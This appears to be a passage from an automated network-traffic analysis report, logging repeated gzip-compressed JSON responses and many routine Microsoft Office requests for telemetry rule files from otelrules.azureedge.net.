Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 09 Dec 2024 05:49:41 GMTContent-Type: application/json; charset=utf-8Content-Length: 181Connection: keep-aliveCache-Control: privateContent-Encoding: gzipVary: Accept-Encodingsvid: 54Access-Control-Allow-Origin: Access-Control-Allow-Headers: Content-TypeAccess-Control-Allow-Methods: GET, POST, OPTIONSX-Frame-Options: SAMEORIGINData Raw: 1f 8b 08 00 00 00 00 00 04 00 ed bd 07 60 1c 49 96 25 26 2f 6d ca 7b 7f 4a f5 4a d7 e0 74 a1 08 80 60 13 24 d8 90 40 10 ec c1 88 cd e6 92 ec 1d 69 47 23 29 ab 2a 81 ca 65 56 65 5d 66 16 40 cc ed 9d bc f7 de 7b ef bd f7 de 7b ef bd f7 ba 3b 9d 4e 27 f7 df ff 3f 5c 66 64 01 6c f6 ce 4a da c9 9e 21 80 aa c8 1f 3f 7e 7c 1f 3f 22 7e f1 47 4d 9b b5 eb e6 a3 47 1f ed 7c 34 fa 68 91 37 4d 76 91 d3 5f 2f be 7c f3 e5 ef 45 9f d4 79 b3 2e 5b fa e0 8b a2 69 8a e5 c5 dd b3 e5 65 56 16 b3 f4 f8 e5 59 fa 7b e5 d7 1f fd 92 ff 07 ba 58 84 79 43 00 00 00 Data Ascii: `I%&/m{JJt`$@iG#)eVe]f@{{;N'?\fdlJ!?~\|?"~GMG\|4h7Mv_/\|Ey.[ieVY{XyC
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 09 Dec 2024 05:50:30 GMTContent-Type: application/json; charset=utf-8Content-Length: 181Connection: keep-aliveCache-Control: privateContent-Encoding: gzipVary: Accept-Encodingsvid: 54Access-Control-Allow-Origin: Access-Control-Allow-Headers: Content-TypeAccess-Control-Allow-Methods: GET, POST, OPTIONSX-Frame-Options: SAMEORIGINData Raw: 1f 8b 08 00 00 00 00 00 04 00 ed bd 07 60 1c 49 96 25 26 2f 6d ca 7b 7f 4a f5 4a d7 e0 74 a1 08 80 60 13 24 d8 90 40 10 ec c1 88 cd e6 92 ec 1d 69 47 23 29 ab 2a 81 ca 65 56 65 5d 66 16 40 cc ed 9d bc f7 de 7b ef bd f7 de 7b ef bd f7 ba 3b 9d 4e 27 f7 df ff 3f 5c 66 64 01 6c f6 ce 4a da c9 9e 21 80 aa c8 1f 3f 7e 7c 1f 3f 22 7e f1 47 4d 9b b5 eb e6 a3 47 1f ed 7c 34 fa 68 91 37 4d 76 91 d3 5f 2f be 7c f3 e5 ef 45 9f d4 79 b3 2e 5b fa e0 8b a2 69 8a e5 c5 dd b3 e5 65 56 16 b3 f4 f8 e5 59 fa 7b e5 d7 1f fd 92 ff 07 ba 58 84 79 43 00 00 00 Data Ascii: `I%&/m{JJt`$@iG#)eVe]f@{{;N'?\fdlJ!?~\|?"~GMG\|4h7Mv_/\|Ey.[ieVY{XyC
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 09 Dec 2024 05:50:45 GMTContent-Type: application/json; charset=utf-8Content-Length: 181Connection: keep-aliveCache-Control: privateContent-Encoding: gzipVary: Accept-Encodingsvid: 54Access-Control-Allow-Origin: Access-Control-Allow-Headers: Content-TypeAccess-Control-Allow-Methods: GET, POST, OPTIONSX-Frame-Options: SAMEORIGINData Raw: 1f 8b 08 00 00 00 00 00 04 00 ed bd 07 60 1c 49 96 25 26 2f 6d ca 7b 7f 4a f5 4a d7 e0 74 a1 08 80 60 13 24 d8 90 40 10 ec c1 88 cd e6 92 ec 1d 69 47 23 29 ab 2a 81 ca 65 56 65 5d 66 16 40 cc ed 9d bc f7 de 7b ef bd f7 de 7b ef bd f7 ba 3b 9d 4e 27 f7 df ff 3f 5c 66 64 01 6c f6 ce 4a da c9 9e 21 80 aa c8 1f 3f 7e 7c 1f 3f 22 7e f1 47 4d 9b b5 eb e6 a3 47 1f ed 7c 34 fa 68 91 37 4d 76 91 d3 5f 2f be 7c f3 e5 ef 45 9f d4 79 b3 2e 5b fa e0 8b a2 69 8a e5 c5 dd b3 e5 65 56 16 b3 f4 f8 e5 59 fa 7b e5 d7 1f fd 92 ff 07 ba 58 84 79 43 00 00 00 Data Ascii: `I%&/m{JJt`$@iG#)eVe]f@{{;N'?\fdlJ!?~\|?"~GMG\|4h7Mv_/\|Ey.[ieVY{XyC

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
